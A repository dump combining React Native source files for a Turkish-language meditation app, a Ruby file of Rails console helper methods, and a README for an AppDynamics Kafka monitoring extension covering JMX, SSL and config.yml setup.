import SettingsScreen from "./SettingScreen";
import {Ionicons} from "@expo/vector-icons";
import {navigate } from "../RootNavigation";
import {Color} from "../../utils/Colors";
import Languages, {getLanguageText} from "../../utils/Language";
import {Lato_400Regular, useFonts} from "@expo-google-fonts/lato";
const ProfileStack = createStackNavigator();
export default function ProfileStackScreen() {
let [fontLoaded] = useFonts({ Lato_400Regular});
return (
<ProfileStack.Navigator>
<ProfileStack.Screen
name="Profile"
component={ProfileScreen}
options={{
title: getLanguageText(Languages.PROFILE),
headerRight: SettingsButton,
headerTransparent: true,
headerTitle:"Profil",
headerTitleStyle : {
color: Color.LIGHT,
fontSize: 20,
fontFamily: "Lato_400Regular"
}
}}
/>
<ProfileStack.Screen
name="Settings"
component={SettingsScreen}
options={{ title: getLanguageText(Languages.SETTINGS), headerBackTitleVisible: false }}
/>
</ProfileStack.Navigator>
);
}
function SettingsButton() {
return (
<View>
<Ionicons
name={'ios-settings'}
size={12}
color={Color.MAIN_DARK}
style={style.settings}
onPress={()=>{
navigate('Settings');
}}
/>
</View>
)
}
const style = StyleSheet.create({
settings: {
color: "#fff",
fontSize: 26,
padding: 10
}
});
<file_sep>import React, { Component, useState, useEffect } from 'react';
import { Dimensions, StyleSheet, Text, View, Image, ImageBackground, TouchableOpacity, ScrollView, Switch, Platform, TouchableWithoutFeedback, TextInput } from 'react-native';
import { Color } from "../utils/Colors";
import {Lato_400Regular, Lato_100Thin, useFonts} from "@expo-google-fonts/lato";
const windowWidth = Dimensions.get('window').width;
const windowHeight = Dimensions.get('window').height;
export default function ProfileCard() {
const [fontLoaded] = useFonts({ Lato_400Regular, Lato_100Thin});
const [strike, setStrike] = useState(22);
const [joinCount, setJoinCount] = useState(3);
const [joinTime, setJoinTime] = useState(143);
const [joinStrike, setJoinStrike] = useState(12);
const [reminders, setReminders] = useState(false);
const [remindHour, onChangeRemindHour] = useState(9);
const [remindMinute, onChangeRemindMinute] = useState(40);
const [appleHealth, setAppleHealth] = useState(false);
const [remindDays, setRemindDays] = useState([
{text: "P", open: false},
{text: "S", open: false},
{text: "Ç", open: true},
{text: "P", open: false},
{text: "C", open: false},
{text: "C", open: false},
{text: "P", open: true},
]);
const [renderMe, setRenderMe] = useState(false);
const InfoArea = ({ text, count }) => (
<View style={{flex: 1}}>
<Text style={styles.infoLabel}>{text}</Text>
<Text style={styles.infoCount}>{count}</Text>
</View>
);
const SocialIcon = ({source}) => (
<TouchableOpacity
onPress={()=>{
}}
style={{ paddingHorizontal: 15 }}
>
<Image style={styles.socialIcon} source={source} />
</TouchableOpacity>
)
const SwitchArea = ({text, value, setValue}) => (
<View style={{
flexDirection: "row",
justifyContent: "space-between",
width : windowWidth * 9 / 10,
marginBottom: 10
}}>
<Text style={styles.text}>{text}</Text>
<Switch
value={value}
onValueChange={v => {
setValue(v);
}}
/>
</View>
)
const RemindersBar = ({days}) => (
<View>
<View style={{
flexDirection: "row",
justifyContent: "space-around",
width : windowWidth * 9 / 10,
marginTop: 10,
marginBottom: 20,
}}>
{days.map((day, index) => (
<View style={styles.reminder} key={"reminder_day_"+index}>
<Text style={[styles.text, { paddingTop: 5, paddingBottom: 6 }]}>{day.text}</Text>
<TouchableWithoutFeedback
onPress={()=>{
days[index].open = !days[index].open;
setRenderMe(val => !val);
}}
>
<View style={[styles.reminderIcon, { backgroundColor: day.open ? "#32d74b" : "#000" }]}/>
</TouchableWithoutFeedback>
</View>
))}
</View>
<View style={{
flexDirection: "row",
marginTop: 10,
marginBottom: 20,
justifyContent: "center"
}}>
<Text style={[styles.text, { fontSize: 20 }]}>Saat </Text>
<TextInput
style={[styles.text, { fontSize: 20 }]}
onChangeText={text => onChangeRemindHour(text)}
numeric={true}
keyboardType={'numeric'}
value={remindHour+""}
/>
<Text style={[styles.text, { fontSize: 20 }]}> : </Text>
<TextInput
style={[styles.text, { fontSize: 20 }]}
onChangeText={text => onChangeRemindMinute(text)}
value={remindMinute+""}
numeric={true}
keyboardType={'numeric'}
/>
</View>
</View>
)
return (
<ScrollView contentContainerStyle={styles.container}>
<View style={styles.profileArea}>
<ImageBackground style={styles.strikeImage} source={require('../assets/images/rozet.png')}>
<Text style={styles.strikeText}>{strike}</Text>
</ImageBackground>
<View style={styles.infoArea}>
<InfoArea text="KATILDIĞI MEDiTASYONLAR" count={joinCount}/>
<InfoArea text="MEDiTASYONDAKi DAKiKALARIN" count={joinTime}/>
<InfoArea text="ART ARDA GÜNLERiN" count={joinStrike}/>
</View>
<View style={styles.shareArea}>
<Image source={require("../assets/images/export.png")} />
<Text style={[styles.text, { paddingTop: 2, marginLeft: 5 }]}>İstatistiklerini Paylaş</Text>
</View>
</View>
<View >
<TouchableOpacity
style={{ marginVertical: 10 }}
>
<Text style={styles.text}>Takvim ve Geçmiş > </Text>
</TouchableOpacity>
<SwitchArea text="Anımsatıcılar" value={reminders} setValue={setReminders}/>
{ reminders ? <RemindersBar days={remindDays} /> : null }
{ Platform.OS === "ios" ? <SwitchArea text="Apple Sağlık" value={appleHealth} setValue={setAppleHealth}/> : null }
<TouchableOpacity
style={{ marginBottom: 10 }}
>
<Text style={styles.text}>Sıkça Sorulan Sorular </Text>
</TouchableOpacity>
<TouchableOpacity
style={{ marginBottom: 10 }}
>
<Text style={styles.text}>Bize Ulaşın </Text>
</TouchableOpacity>
</View>
<View>
<Text style={styles.socialLabel}>Bizi Tavsiye Edin</Text>
<View style={styles.socialIcons}>
<SocialIcon source={require("../assets/images/fbIcon.png")}/>
<SocialIcon source={require("../assets/images/instagramIcon.png")}/>
<SocialIcon source={require("../assets/images/twitterIcon.png")}/>
<SocialIcon source={require("../assets/images/whatsappIcon.png")}/>
</View>
</View>
</ScrollView>
)
};
const styles = StyleSheet.create({
container: {
justifyContent: "space-between",
alignItems: "center",
flexGrow: 1
},
profileArea: {
alignItems: "center",
marginTop: 60
},
shareArea: {
borderColor: "#7A51B9",
borderRadius: 25,
borderWidth: 3,
flexDirection: "row",
justifyContent: "center",
paddingVertical: 10,
paddingHorizontal: 20,
marginVertical: 10
},
socialIcons: {
flexDirection: "row",
marginBottom: 10
},
text: {
color: Color.LIGHT_TEXT_COLOR,
fontSize: 18,
fontFamily: "Lato_400Regular"
},
backGround:{
backgroundColor: '#280d52'
},
strikeImage: {
width: 200,
height: 100,
marginBottom: 10
},
strikeText: {
color: Color.LIGHT_TEXT_COLOR,
fontFamily: "Lato_400Regular",
fontSize: 24,
textAlign: "center",
paddingTop: 18
},
infoArea :{
flexDirection: "row",
alignItems: "center",
justifyContent: "center",
width: windowWidth
},
infoLabel: {
fontFamily: "Lato_400Regular",
color: Color.LIGHT_TEXT_COLOR,
opacity: 0.4,
textAlign: "center",
fontSize: 13
},
infoCount: {
fontFamily: "Lato_400Regular",
color: Color.LIGHT_TEXT_COLOR,
textAlign: "center"
},
socialLabel: {
fontFamily: "Lato_400Regular",
color: Color.LIGHT_TEXT_COLOR,
textAlign: "center",
paddingVertical: 10
},
socialIcon: {
width: 50,
height: 50
},
reminder : {
borderRadius: 12,
backgroundColor: "#9E9E9E",
width: 34,
height: 54,
alignItems: "center"
},
reminderIcon: {
borderRadius: 50,
width: 28,
height: 28,
marginTop: 0,
borderColor: "#707070",
borderWidth: 2
}
});
<file_sep>export const BASE_API_URL = "http://127.0.0.1:5000/";
export const LOGIN_URL = BASE_API_URL + "user/login";
export const UPDATE_URL = BASE_API_URL + "user/content";
export const CONTENT_URL = "https://sahajayoga-assets.s3-eu-west-1.amazonaws.com/";
<file_sep>import {Text, View, Dimensions, StyleSheet} from "react-native";
import React from "react";
import Card from "../Card";
import ProfileCard from "../ProfileCard";
import {Color} from "../../utils/Colors";
import {LinearGradient} from "expo-linear-gradient";
import {useFonts, Lato_400Regular} from "@expo-google-fonts/lato";
const windowWidth = Dimensions.get('window').width;
const windowHeight = Dimensions.get('window').height;
function ProfileScreen() {
return (
<LinearGradient style={styles.container} colors={Color.MAIN_BG_GRADIENT}>
<ProfileCard />
</LinearGradient>
);
}
const styles = StyleSheet.create({
container: {
flex: 1,
alignItems: 'center',
justifyContent: "center",
backgroundColor: '#280d52'
}
});
export default ProfileScreen;
<file_sep>const lang = "tr";
const Languages = {
TODAY:{ en: "Today", tr: "Bugün"},
DISCOVER:{ en: "Discover", tr: "Keşfet"},
MUSIC:{ en: "Music", tr: "Müzik"},
BLOG:{ en: "Blog", tr: "Blog"},
PROFILE:{ en: "Profile", tr: "Profil"},
SETTINGS:{ en: "Settings", tr: "Ayarlar"},
HOW_ARE_YOU_FEELING:{ en: "How are you feeling?", tr: "Nasıl Hissediyorsun?"},
WORD_OF_THE_DAY:{ en: "Word of the day", tr: "Günün Sözü"},
POPULAR:{ en: "Popular", tr: "Popüler"},
SELF_REALISATON:{ en: "Self Realisation", tr: "Aydınlanma Meditasyonu"},
QUICK_START:{en: "Quick Start", tr: "Hızlı Başla"},
ELEMENTS:{en: "Elements", tr: "Elementler"},
SEVEN_STEPS:{en: "Seven Steps", tr: "Yedi Adım"},
MEDITATION_WITH_MANTRA:{ en: "Meditation with Mantra", tr: "Mantralı Meditasyon" },
THREE_CHANNEL_BALANCING:{ en: "Three Channel Balancing", tr: "Üç Kanal Dengeleme" },
MEDITATION_WITH_AFFIRMATIONS:{ en: "Meditation With Affirmations", tr: "Olumlamalı Meditasyon" },
BREATH_EXERCISES:{ en: "Breath Exercises", tr: "Nefes Egzersizleri" },
STRESS_MANAGAMENT:{ en: "Stress Management", tr: "Stres Yönetimi" },
ATTENTION_MEDITATION:{ en: "Attention Meditation", tr: "Dikkat Meditasyonu" },
MEDITATION_WITH_MUSIC:{ en: "Meditation With Music", tr: "Müzikli Meditasyon" },
OMKAR_TECHNIQUE:{ en: "Omkar Technique", tr: "Omkar Tekniği" },
GRADITUDE_AND_THANK:{ en: "Graditude and Thank", tr: "Şükran ve Teşekkür" },
MEDITATION_MUSICS:{ en: "Meditation Musics", tr: "Meditasyon Müzikleri" },
FREQUENCY_MUSICS:{ en: "Frequency Musics", tr: "Frekans Müzikleri" },
NATURE_SOUNDS:{ en: "Nature Sounds", tr: "Doğa Sesleri" },
SLEEP_MUSICS:{ en: "Sleep Sounds", tr: "Uyku Sesleri" },
CHILL_AMBIENT_MUSICS:{ en: "Chill & Ambient Musics", tr: "Chill & Ambiyans Müzikleri" },
CLASSIC_MUSICS:{ en: "Classic Musics", tr: "Klasik Müzikler" },
};
export const MoodLanguages = {
STRESSED: { en: "Stressed", tr: "Stresli" },
HAPPY: { en: "Happy", tr: "Mutlu" },
TIRED: { en: "Tired", tr: "Yorgun" },
DEMOTIVATED: { en: "Demotive", tr: "Demotive" },
INCAPABLE: { en: "Incapable", tr: "Yetersiz" },
LONELY: { en: "LONELY", tr: "Yalnız" },
IN_PAIN: { en: "In Pain", tr: "Ağrılı" },
SAD: { en: "Sad", tr: "Üzgün" },
GRATEFUL: { en: "Grateful", tr: "Minettar" },
UNEASY: { en: "Uneasy", tr: "Rahatsız" },
DEPRESSED: { en: "Depressed", tr: "Depresif" },
DISTRACTED: { en: "Distracted", tr: "Dikkati Dağılmış" },
NEED_SPACE: { en: "Need Space", tr: "Alana İhtiyacım Var" },
COMPASSIONED: { en: "Compassioned", tr: "Şefkatli" },
SLEEPLESS: { en: "Sleepless", tr: "Uykusuz" },
ANXIOUS: { en: "Anxious", tr: "Endişeli" }
};
export function getLanguageText(obj) {
try {
return obj[lang];
} catch (error) {
console.error(error);
return '';
}
}
export default Languages;
<file_sep>import React, { Component } from "react";
import { Dimensions, ScrollView, StyleSheet, View, FlatList } from 'react-native';
import { MusicList } from "../../utils/Data";
import Languages, { getLanguageText } from '../../utils/Language';
import Card from '../Card';
import Title from "../Title";
import HeaderBar from "../HeaderBar";
import {LinearGradient} from "expo-linear-gradient";
import {Color} from "../../utils/Colors";
import {getMeditationGroups} from "../../utils/Utils";
const windowWidth = Dimensions.get('window').width;
const windowHeight = Dimensions.get('window').height;
class MusicScreen extends Component {
flatListRef;
headerListRef;
headerLocked;
activeIndex = 0;
state = {
titles: [],
musicList : [],
}
constructor(props){
super(props);
let activeID;
if(this.props.route.params){
activeID = this.props.route.params.id;
}
MusicList.forEach((item, index) => {
item.groups = getMeditationGroups(item.musics);
if(activeID){
item.groups.forEach(group => {
group.forEach(music => {
if(music.id === activeID){
this.activeIndex = index;
}
});
});
}
})
MusicList[this.activeIndex].active = true;
this.flatListRef = React.createRef();
this.headerListRef = React.createRef();
}
componentDidMount(){
console.log("activeIndex: " + this.activeIndex );
this.setState({
musicList : MusicList
}, ()=>{
if(this.activeIndex > 0){
setTimeout(()=>{
this.changeActiveList(this.activeIndex);
}, 500);
}
})
}
changeActiveList = index => {
console.log("changeActiveList with: " + index);
MusicList.forEach((item, ind) =>{
item.active = index === ind;
});
this.setState({
musicList : MusicList
});
try {
this.flatListRef.current.scrollToIndex({index});
this.headerListRef.current.scrollToIndex({index});
this.headerLocked = true;
setTimeout(()=>{
this.headerLocked = false;
}, 250);
}catch (e){
}
};
renderHeaderItem = ({item, index}) => (
<Title
title={getLanguageText(item.title)}
active={item.active}
key={"musicTitle_" + index}
onPress={() => {
this.changeActiveList(index);
}}
/>
)
renderScreen = ({item: { groups }, index}) => (
<ScrollView
style={styles.musicContainer}
showsVerticalScrollIndicator={false}
key={"music_screen_"+index}
>
{
groups.map((group, index) => (addMeditationCards(group, index)))
}
<View style={{height: windowHeight / 10}}/>
</ScrollView>
)
onViewableItemsChanged = ({ viewableItems, changed }) => {
// console.log("Visible items are", viewableItems);
// console.log("Changed in this iteration", changed);
if(!viewableItems || viewableItems.length == 0) return;
const index = viewableItems[0].index;
if(this.headerListRef != null){
MusicList.forEach((item, ind) =>{
item.active = index === ind;
});
this.setState({
musicList : MusicList
});
if(!this.headerLocked){
this.headerListRef.current.scrollToIndex({index});
}
}
}
render() {
//let { id } = this.props.route.params;
const { musicList } = this.state;
return (
<LinearGradient colors={Color.MAIN_BG_GRADIENT}>
<HeaderBar title={getLanguageText(Languages.MUSIC)} />
<FlatList
style={styles.container}
horizontal={true}
showsHorizontalScrollIndicator={false}
ref={this.headerListRef}
data={musicList}
keyExtractor={item => "header_"+ item.title.en}
renderItem={this.renderHeaderItem}
/>
<FlatList
data={musicList}
renderItem={this.renderScreen}
keyExtractor={item => item.title.en}
horizontal={true}
pagingEnabled={true}
ref={this.flatListRef}
onViewableItemsChanged={this.onViewableItemsChanged }
/>
</LinearGradient>
)
}
}
function addMeditationCards(group, groupIndex){
const groupSize = group.length;
if(groupSize === 1 && groupIndex === 0){
const card = group[0];
return (
getCard(card, 0, 96)
)
}
return (
<View style={styles.cardContainer} key={"music_card_container_" + groupIndex}>
{
group.map((card, index)=>( getCard(card, index, 47) ))
}
</View>
)
}
function getCard(card, index, size){
const { lock, color, title, desc } = card;
return (
<Card
key={"music_card_" + index}
lock={lock}
color={color}
size={size}
title={getLanguageText(title)}
desc={getLanguageText(desc)}
source={require('../../assets/images/SampleImage.jpg')}
/>
)
}
const styles = StyleSheet.create({
container: {
paddingHorizontal: windowWidth / 50,
marginBottom: 5
},
musicContainer: {
padding: windowWidth / 50,
width: windowWidth,
flex : 1
},
cardContainer: {
flexDirection: "row",
justifyContent: "space-between"
},
backGround:{
backgroundColor: '#280d52'
}
});
export default MusicScreen;
<file_sep>import { View, StyleSheet, Image, Dimensions } from "react-native";
import React from "react";
import Logo from "../Logo";
import MainContent from "../MainContent";
import MainBG from "./MainBG";
import { Video } from "expo-av";
import MenuIcon from "./MenuIcon";
const windowWidth = Dimensions.get('window').width;
const windowHeight = Dimensions.get('window').height;
export default function HomeScreen() {
return (
<View style={{ flex: 1 }}>
<Video source={require('../../assets/videos/rain_loop.mp4')} // Can be a URL or a local file.
rate={1.0} // Store reference
volume={1.0}
isMuted={true}
resizeMode={Video.RESIZE_MODE_COVER}
style={styles.backgroundVideo}
shouldPlay={true}
isLooping={true}
orientation="portrait"
useNativeControls={false}
onLoadStart={() => {
console.log("bg video started!");
}}
onLoad={status => {
console.log("bg video loaded with status: ", status);
}}
/>
<MenuIcon navigateTo={"Customize"}/>
<View style={styles.logoContainer}>
<Logo />
</View>
<MainBG />
<MainContent />
</View>
);
}
const styles = StyleSheet.create({
backgroundVideo: {
position: 'absolute',
top: 0,
left: 0,
width: windowWidth,
height: windowHeight
},
logoContainer: {
paddingTop: 20,
alignItems: "center",
}
});
| 2873ac45ce061fd24d2a3239007555e1c854ff79 | [
"JavaScript"
] | 11 | JavaScript | snurel/SYM | dd761f8f8ed1b1237ad49667ac4537840d0f58a3 | 45f5b7456222f3bb197a717bb0d242fdfa6c2b4c | |
refs/heads/master | <repo_name>earl-at-wishpond/handy_rails_console_utils<file_sep>/util.rb
# Easy reloading of this file
def uload(reload_routes = false)
@rails_routes_loaded = !reload_routes
puts "Reloading #{__FILE__}..."
load __FILE__
end
require 'active_record'
# Easier-to-read ActiveRecord inspection
class ActiveRecord::Base
def self.fields
inspect[/\((.*)\)/, 1].split(', ')
end
end
class ActiveRecord::Base
def self.[](id)
self.find_by_id(id)
end
end
class ActiveRecord::Base
def ems
self.errors.full_messages
end
end
# Load up the routes so you can call url_for-based magic methods
require 'action_controller'
def rails_routes
unless @rails_routes_loaded
puts "Loading routes..."
include ActionController::UrlWriter
default_url_options[:host] = 'localhost:3000'
@rails_routes_loaded = true
end
end
rails_routes
def reroute(force = false)
ActionController::Routing::Routes.send(force ? :reload! : :reload)
end
# Access the console history
def history
Readline::HISTORY.to_a
end
def hgrep(match)
matched = history.select {|h| begin Regexp.new(match).match(h) rescue nil end}
puts matched
matched.size
end
# Easy access to the fields/methods of a collection of duck-homogeneous objects
module Enumerable
def mcollect(*syms)
self.collect do |elem|
syms.inject([]) do |collector, sym|
collector << elem.send(sym)
end
end
end
end
# Handy alias for the split method
class String
alias / split
end
# Add JavaScript-like accessing of hash values by key
# Notice that this WILL NOT override any existing methods (magic or mundane)
class Hash
def method_missing(sym, *args, &block)
begin
super
rescue NoMethodError => nme
if self.has_key?(sym)
self.fetch(sym)
elsif self.has_key?(sym.to_s)
self.fetch(sym.to_s)
elsif pos = sym.to_s =~ /(=$)/
self.send(:store, sym.to_s[0..pos-1].to_sym, *args)
else
raise nme
end
end
end
def respond_to?(sym, include_private = false)
super || self.has_key?(sym) || self.has_key?(sym.to_s)
end
end
| 087905879c467be3a96f66efa268982155fef51b | [
"Ruby"
] | 1 | Ruby | earl-at-wishpond/handy_rails_console_utils | 4bc0016fae81f441fa5f374c2d60b994f0ef2d0c | 2e08660c5de526e61d6905f4dcbbaaa4a8b2806e | |
refs/heads/master | <repo_name>mailtous/mybatis-plug-config<file_sep>/src/main/java/com/nk/mplug/config/ProfileOfDev.java
package com.nk.mplug.config;
import org.springframework.context.annotation.Condition;
import org.springframework.context.annotation.ConditionContext;
import org.springframework.core.env.Environment;
import org.springframework.core.type.AnnotatedTypeMetadata;
import org.springframework.stereotype.Component;
import java.util.Arrays;
import java.util.List;
/**
* Func : 按环境加载
*
* @author: leeton on 2019/6/25.
*/
@Component
public class ProfileOfDev implements Condition {
public boolean matches(ConditionContext context, AnnotatedTypeMetadata metadata) {
Environment environment = context.getEnvironment();
List<String> profiles= Arrays.asList(environment.getActiveProfiles());
return profiles.contains("dev");
}
}
| 822c45c69020f8a64dee2a46a86cedbc8509761d | [
"Java"
] | 1 | Java | mailtous/mybatis-plug-config | e68270f994d07b27d082612ebea3fce6ab15fa9b | 63ac8b5859bbffe800a49f4007c00c84048ddb7c | |
refs/heads/master | <file_sep>Kafka Monitoring Extension for AppDynamics
===================================================
## Use Case ##
Apache Kafka® is a distributed, fault-tolerant streaming platform. It can be used to process streams of data in
real-time.The Kafka Monitoring extension can be used with a stand alone machine agent to provide metrics for multiple
Apache Kafka.
## Prerequisites ##
- In order to use this extension, you do need a [Standalone JAVA Machine Agent](https://docs.appdynamics.com/display/PRO44/Standalone+Machine+Agents).
or [SIM Agent](https://docs.appdynamics.com/display/PRO44/Server+Visibility).For more details on downloading these products, please visit [Downloads](https://download.appdynamics.com/).<br>
- The extension also needs a [Kafka](https://kafka.apache.org/quickstart) server installed.
- The extension needs to be able to connect to Kafka in order to collect and send metrics.
To do this, you will have to either establish a remote connection in between the extension and the product,
or have an agent on the same machine running the product in order for the extension to collect and send the metrics.
## Installation ##
- To build from source, clone this repository and run 'mvn clean install'. This will produce a KafkaMonitor-VERSION.zip in the target directory Alternatively, download the latest release archive from [GitHub](#https://github.com/Appdynamics/kafka-monitoring-extension)
- Unzip the file KafkaMonitor-\[version\].zip into <b><MACHINE_AGENT_HOME>/monitors/</b>
- In the newly created directory <b>"KafkaMonitor"</b>, edit the config.yml to configure the parameters (See Configuration section below)
- Restart the Machine Agent
- In the AppDynamics Metric Browser, look for: In the AppDynamics Metric Browser, look for: <b>Application Infrastructure Performance|\<Tier\>|Custom Metrics|Kafka</b>. If SIM is enabled, look for the Metric Browser for the following metric path under the Servers tab: <b>Application Infrastructure Performance|Root|Custom Metrics|Kafka</b>.
##### 1. Configuring ports
- According to [Oracle's explanation](https://bugs.java.com/bugdatabase/view_bug.do?bug_id=8035404), JMX opens 3 different ports:
- One is the JMX connector port(the one in config.yml)
- One for the RMIRegistry
- The third one is an ephemeral port is RMI registry of the local only server
- We can explicitly configure the first two ports in the Kakfa start-up scripts to avoid it picking random ports.
- Here port 9999 is used as JMX Connector port 9998 is used as the JMX/RMI port.
- The third one, however, is an ephemeral port(that's how JMX works).
- Test connection to the Kafka host and ports 9999 and 9998 from the machine where the extension is installed.
For example, to test connection to the localhost on port 9999, use
nc -v localhost 9999.
- If the message ```Connection to localhost port 9999 [tcp/distinct] succeeded!```is displayed, it confirms the access to the Kafka server.
##### 2. Enabling JMX
- To enable JMX monitoring for Kafka broker, a JMX_PORT has to be configured to allow monitoring on that port.
<br>Edit the Kafka start-up script `<Kafka Installation Folder>/bin/kafka-server-start.sh` to include:<br>
`export JMX_PORT=${JMX_PORT:-9999}`<br/>
This configures port 9999 as the JMX port of Kafka.
- Please note that the Kafka server needs to be restarted once the JMX port is added.
##### 3. Configuring Kafka for non-SSL monitoring
This section outlines the configuration of the Kafka start-up scripts if monitoring is <b>not</b> done over SSL.If SSL is being used please skip to [Setting up SSL in Kafka](#sslsettings).
- To enable monitoring, some flags need to be set in the Kafka start-up scripts.
Edit `<Kafka Installation Folder>/bin/kafka-run-class.sh` and modify `KAFKA_JMX_OPTS` variable like below<br>
`KAFKA_JMX_OPTS="-Dcom.sun.management.jmxremote=true -Dcom.sun.management.jmxremote.rmi.port=9998 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false"`
- Also, the changes to `kafka-run-class.sh` has to be made on all the Kafka servers that are being monitored.
- Please note that any changes to `kafka-run-class.sh` needs the Kafka server to be restarted for the changes to take effect.
##### <a name="sslsettings">4. Monitoring over SSL </a>
If you need to monitor your Kafka servers securely via SSL, please follow the following steps:
##### 4.1. Generating SSL Keys
- Providing a Keystore and Truststore is mandatory for using SSL. The Keystore is used by the Kafka server, the Truststore is used by the Kafka Monitoring Extension to trust the server.
- The extension supports a custom Truststore, and if no Truststore is specified, the extension defaults to the Machine Agent Truststore at `<Machine_Agent_Home>/conf/cacerts.jks`.
- <b>You can create your Truststore or choose to use the Machine Agent Truststore at `<MachineAgentHome>/conf/cacerts.jks`.</b>
- Keytool is a utility that comes with the JDK. Please use the following commands to generate a keystore, and import the certificates into the Truststore.
- To use the custom Truststore, please follow steps 1, 2 and 3a listed below.
- To to use the Machine Agent Truststore `cacerts.jks`, please follow the steps 1, 2 and 3b listed below to import the certs into `cacerts.jks`.
#Step #1
keytool -keystore kafka.server.keystore.jks -alias localhost -validity 365 -genkey
#Step #2
openssl req -new -x509 -keyout ca-key -out ca-cert -days 365
#Step #3a: if you are creating your own truststore
keytool -keystore kafka.client.truststore.jks -alias CARoot -import -file ca-cert
#Step #3b: or if you are using Machine Agent truststore
keytool -keystore /path/to/MachineAgentHome/conf/cacerts.jks -alias CARoot -import -file ca-cert
- Additional info about creating SSL keys is listed [here](https://docs.confluent.io/current/tutorials/security_tutorial.html#creating-ssl-keys-and-certificates).
##### 4.2. Configuring Kafka for monitoring over SSL ####
Edit `<Kafka Installation Folder>/bin/kafka-run-class.sh` and modify `KAFKA_JMX_OPTS` variable, as listed below:<br>
```
KAFKA_JMX_OPTS="-Dcom.sun.management.jmxremote=true -Dcom.sun.management.jmxremote.rmi.port=9998 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=true -Djavax.net.ssl.keyStore=/Absolute/path/to/keystore -Djavax.net.ssl.keyStorePassword=<PASSWORD> -Dcom.sun.management.jmxremote.registry.ssl=false"
```
##### 4.3. Configuring the Extension to use SSL ####
- The extension also needs to be configured to use SSL. In the config.yml of the Kafka Extension, uncomment the `connection` section.<br/>
```
connection:
socketTimeout: 3000
connectTimeout: 1000
sslProtocol: "TLSv1.2"
sslTrustStorePath: "/path/to/truststore/client/kafka.client.truststore.jks" #defaults to <MA home>conf/cacerts.jks
sslTrustStorePassword: "<PASSWORD>" # defaults to empty
sslTrustStoreEncryptedPassword: ""
```
- <b> Please note that any changes to the </b> `connection`<b> section of the config.yml, needs the Machine Agent to
be restarted for the changes to take effect.</b>
- If you need username/password authentication, please set the flag<br/>`-Dcom.sun.management.jmxremote.authenticate=true`
in the `KAFKA_JMX_OPTS` variable.Please refer to [Password Settings](#passwordsettings) for further steps.
##### <a name = "passwordsettings"></a> 5. Password Settings
If you need password authentication, the password needs to be set in the JVM of the Kafka server.
To know more on how to set the credentials, please see section `Using Password and Access Files` in [this link](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html).
##### 6. Config.yml
Configure the Kafka monitoring extension by editing the config.yml file in `<MACHINE_AGENT_HOME>/monitors/KafkaMonitor/`
- Configure the "tier" under which the metrics need to be reported. This can be done by changing the value of `<Component-ID>` in
`metricPrefix: "Server|Component:<Component-ID>|Custom Metrics|Kafka"`.<br/>Please refer this [link](https://community.appdynamics.com/t5/Knowledge-Base/How-to-troubleshoot-missing-custom-metrics-or-extensions-metrics/ta-p/28695) to find Component-ID of your tiers.
For example,
```
metricPrefix: "Server|Component:19|Custom Metrics|Kafka"
```
- Configure the Kafka servers by specifying <b>either</b> `serviceUrl` or `<host,port>` of all Kafka servers.
- Here, `host` is the IP address.
of the Kafka server to be monitored, and `port` is the JMX port of the Kafka server.
- Please provide `username` & `password` (only if authentication enabled).
- `encryptedPassword`(only if password encryption required).
- If SSL is being used to securely monitor your Kafka servers, please set `useSsl` as `true`.
For example,
```
- serviceUrl: "service:jmx:rmi:///jndi/rmi://localhost:9999/jmxrmi" #provide service URL or the <host,port> pair
host: ""
port: ""
username: "monitorRole"
password: "QED"
encryptedPassword: ""
displayName: "Local Kafka Server"
useSsl: true # set to true if you're using SSL for this server
```
- Configure the encyptionKey for encryptionPasswords(only if password encryption required).
For example,
#Encryption key for Encrypted password.
encryptionKey: "<KEY>"
- Configure the connection section only if you are using monitoring over SSL for <b>ANY</b> of Kafka server(s).
- Please remove this section if SSL is not required to connect to any of your servers.
- If you are using the Machine Agent Truststore, please leave the `sslTrustStorePath` as `""`.
```
connection:
socketTimeout: 3000
connectTimeout: 1000
sslProtocol: "TLSv1.2"
sslTrustStorePath: "/path/to/truststore/client/kafka.client.truststore.jks" #defaults to <MA home>conf/cacerts.jks
sslTrustStorePassword: "<PASSWORD>" # defaults to empty
sslTrustStoreEncryptedPassword: ""
```
- Configure the numberOfThreads according to the number of Kafka instances that are being monitored on one extension.Each server needs one thread.
``` For example,
If number Kafka servers that need to be monitored by one extension is 10, then number of threads is 10
numberOfThreads: 10
```
- Configure the metrics section.<br/>
For configuring the metrics, the following properties can be used:
| Metric Property | Default value | Possible values | Description |
| :---------------- | :-------------- | :------------------------------ | :------------------------------------------------------------------------------------------------------------- |
| alias | metric name | Any string | The substitute name to be used in the metric browser instead of metric name. |
| aggregationType | "AVERAGE" | "AVERAGE", "SUM", "OBSERVATION" | [Aggregation qualifier](https://docs.appdynamics.com/display/PRO44/Build+a+Monitoring+Extension+Using+Java) |
| timeRollUpType | "AVERAGE" | "AVERAGE", "SUM", "CURRENT" | [Time roll-up qualifier](https://docs.appdynamics.com/display/PRO44/Build+a+Monitoring+Extension+Using+Java) |
| clusterRollUpType | "INDIVIDUAL" | "INDIVIDUAL", "COLLECTIVE" | [Cluster roll-up qualifier](https://docs.appdynamics.com/display/PRO44/Build+a+Monitoring+Extension+Using+Java)|
| multiplier | 1 | Any number | Value with which the metric needs to be multiplied. |
| convert | null | Any key value map | Set of key value pairs that indicates the value to which the metrics need to be transformed. eg: UP:0, DOWN:1 |
| delta | false | true, false | If enabled, gives the delta values of metrics instead of actual values. |
For example,
`objectName: "kafka.server:type=BrokerTopicMetrics, * ` will fetch metrics of all objects nested under `BrokerTopicMetrics`.
- objectName: "kafka.server:type=BrokerTopicMetrics,*"
metrics:
- Count:
alias: "Count"
multiplier: ""
delta: false
aggregationType: "OBSERVATION"
timeRollUpType: "AVERAGE"
clusterRollUpType: "INDIVIDUAL"
- MeanRate:
alias: "Mean Rate"
multiplier: ""
delta: false
aggregationType: "AVERAGE"
timeRollUpType: "AVERAGE"
clusterRollUpType: "INDIVIDUAL"
**All these metric properties are optional, and the default value shown in the table is applied to the metric(if a property has not been specified) by default.** If you need a metric from a specific object under an mBean, `objectName: kafka.server:type=ReplicaManager,name=IsrExpandsPerSec` will return only those metrics corresponding to the `IsrExpandsPerSec` object.
##### 7. Validating config.yml:
- Please copy all the contents of the config.yml file and go to [YamlLint](http://www.yamllint.com/).
- On reaching the website, paste the contents and press the “Go” button on the bottom left.<br>
- If you get a valid output, that means your formatting is correct and you may move on to the next step.
##### 8. Metrics
